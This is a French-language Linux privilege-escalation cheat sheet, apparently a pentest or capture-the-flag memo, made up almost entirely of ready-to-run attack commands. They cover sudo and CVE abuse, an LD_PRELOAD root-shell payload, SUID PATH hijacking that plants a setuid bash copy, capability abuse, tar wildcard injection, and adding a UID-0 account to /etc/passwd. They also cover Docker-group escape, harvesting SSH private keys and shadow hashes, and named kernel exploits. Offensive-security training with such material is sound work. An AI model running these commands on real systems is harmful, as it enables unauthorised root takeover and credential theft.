Élévation de privilèges Linux
Exploits locaux Linux.
sommaire
1) sudo
sudo -l # que puis-je lancer en sudo ?
sudo /bin/bash # NOPASSWD direct
# binaire autorise -> GTFOBins (ex: sudo less /etc/shadow, puis !/bin/sh)
sudo -u#-1 /bin/bash # CVE-2019-14287 (sudo < 1.8.28)
GTFOBins : https://gtfobins.github.io (SUID/sudo/capabilities -> shell)
LD_PRELOAD / env_keep
# si 'env_keep+=LD_PRELOAD' dans sudo -l :
gcc -fPIC -shared -o /tmp/x.so -xc - <<<'#include <stdlib.h>
void _init(){setgid(0);setuid(0);system("/bin/bash");}'
sudo LD_PRELOAD=/tmp/x.so <cmd_autorisee>
2) SUID / SGID
find / -perm -4000 -type f 2>/dev/null
# binaire connu -> GTFOBins. binaire maison -> strings/ltrace pour un PATH relatif :
strings /chemin/suid ; ltrace /chemin/suid
# ex PATH hijack : export PATH=/tmp:$PATH ; echo '/bin/bash' > /tmp/service ; chmod +x /tmp/service
3) Capabilities
getcap -r / 2>/dev/null
# cap_setuid sur python -> root :
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl : perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
4) Tâches planifiées (cron)
cat /etc/crontab ; ls -la /etc/cron.*
# script lance par root et INSCRIPTIBLE -> y mettre un reverse shell / chmod +s /bin/bash
# wildcard injection (tar) : touch -- '--checkpoint=1' '--checkpoint-action=exec=sh runme.sh'
# pspy pour reperer les crons caches
5) Fichiers & groupes sensibles
# /etc/passwd inscriptible -> ajouter un root :
echo 'r00t:$(openssl passwd pass):0:0::/root:/bin/bash' >> /etc/passwd
# /etc/shadow lisible -> hashcat -m 1800
# groupe docker : docker run -v /:/mnt -it alpine chroot /mnt sh
# groupe lxd/lxc : import image + montage de / ; groupe disk : debugfs /dev/sda
6) Exploits noyau / connus
uname -a ; searchsploit linux kernel <version>
pkexec (PwnKit) CVE-2021-4034 # polkit, quasi universel
sudo Baron Samedit CVE-2021-3156
DirtyPipe CVE-2022-0847 ; DirtyCow CVE-2016-5195
7) SSH / réutilisation de mots de passe
find / -name id_rsa 2>/dev/null ; cat ~/.ssh/id_rsa
# reutiliser les mdp trouves : su <user> ; mysql -u root -p ; sudo -l
# clef privee -> chmod 600 ; ssh -i id_rsa user@localhost
SUID + appel system() en chemin relatif → PATH hijack
Un binaire SUID root qui appelle system() avec une commande SANS chemin absolu (ex: system(“echo x:y | chpasswd”)) résout la commande via le PATH hérité de l’appelant. On plante un faux binaire du même nom dans un dossier inscriptible placé en tête du PATH.
# reperage : SUID root + strings montre system() et une commande relative
ls -la # -rwsr-xr-x root root
strings ./binaire | grep -E "system|/bin|sh -c|[a-z]+ \|"
# exploitation :
cd /tmp
printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > chpasswd
chmod +x chpasswd
PATH=/tmp:$PATH /chemin/binaire_suid # notre chpasswd s'execute en root
/tmp/rootbash -p # shell root (-p = garder euid=0)
• -p obligatoire : bash droppe les privilèges si euid != uid sinon. • Vérifier le résultat : id doit montrer euid=0(root). • Si PATH est écrasé par le binaire, tenter LD_PRELOAD / LD_LIBRARY_PATH (si non stripés par le loader).